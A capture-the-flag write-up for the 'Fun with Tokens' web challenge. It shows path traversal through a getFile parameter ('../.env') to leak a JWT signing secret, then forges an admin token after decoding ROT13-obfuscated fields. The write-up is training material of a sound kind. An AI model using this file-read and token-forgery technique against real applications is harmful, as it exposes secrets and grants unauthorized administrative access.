[All WriteUps for this CTF here](https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21): https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21![S.H.E.L.L.CTF](https://raw.githubusercontent.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21/main/banner.png)
# Fun with Tokens
Visiting the provided website we see some interesting thing:There are two links:
http://3.142.122.1:9334/loginhttp://3.142.122.1:9334/adminNames
And comments in the Source:```
```
Admin names sounds interesting so let's check that first:![curl](https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21/blob/main/Web%20Security/Fun%20with%20Tokens/curl.png?raw=true)
There is actually a redirect to a getFile.php interesting.Opening http://3.142.122.1:9334/getFile?file=admins in a browser provides us a list with admin names:
```0xd4127c3cdin_djarin11```
This already looks a lot like there might be LFI possible. We have the hint that there is some secret in the environment so let's try to pull the .env file using the getFile.php:
http://3.142.122.1:9334/getFile?file=.env```No such file or directory: /app/public/.env```
Okay but maybe in the /app directory?
http://3.142.122.1:9334/getFile?file=../.env
```secret=G00D_s0ld13rs_k33p_s3cret5```Sweet! Unfortunately this is not our flag so we have to search further. Let's have at /admin as the hint said that's where the fun is supposed to be.
http://3.142.122.1:9334/admin```{"success":false,"message":"Maybe send the token via Headers ... for Authorization?"}```
This is some kind of API but we are not authorized. It seems like we need a token, we already have a secret_key which is used to sign tokens so this will propably be our attack vector.We don't have any cookies/tokens yet so let's check our /login page.
Sending `test:test` in the form of the /login page responses with a token in the header:![header_token](https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21/blob/main/Web%20Security/Fun%20with%20Tokens/header_token.png?raw=true)
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImdyZmciLCJwYXNzd29yZCI6ImdyZmciLCJhZG1pbiI6InNueWZyIiwiaWF0IjoxNjIyOTc3MjI4fQ.nMCBVHmSiRpfV_nMnDqlTFLemUiIHePimxCP8UqPU9c```Let's decrypt it using https://jwt.io![jwt_io.png](https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21/blob/main/Web%20Security/Fun%20with%20Tokens/jwt_io.png?raw=true)
We can see username and password, however they are not what we sent.. `test` got translated to `grfg`. Let's send the alphabet to get the subsitution alphabet:
```abcdefghijklmnopqrstuvwxyznopqrstuvwxyzabcdefghijklm```
We are now able to translate our username and password propably, also we notice that it says `false` inside the admin parameter.Let's craft our new token using everything we have so far:```username: qva_qwneva11 (din_djarin11 translated using our subsitution alphabet)password: empty we don't have one yetadmin: gehr (translation of true)signature key: G00D_s0ld13rs_k33p_s3cret5```
It should look like this:![crafted_jwt](https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21/blob/main/Web%20Security/Fun%20with%20Tokens/crafted_jwt.png?raw=true)
Let's send that token to /admin as our authorization header:![send_token](https://github.com/ipv6-feet-under/WriteUps-S.H.E.L.L.CTF21/blob/main/Web%20Security/Fun%20with%20Tokens/send_token.png?raw=true)
```FURYY{G0x3af_q0_z4gg3e_4r91ns4506s384q460s0s0p6r9r5sr4n}```Translating this with our subsitutin alphabet or sending it as a username and read that token gives us the flag:```SHELL{T0k3ns_d0_m4tt3r_4e91af4506f384d460f0f0c6e9e5fe4a}```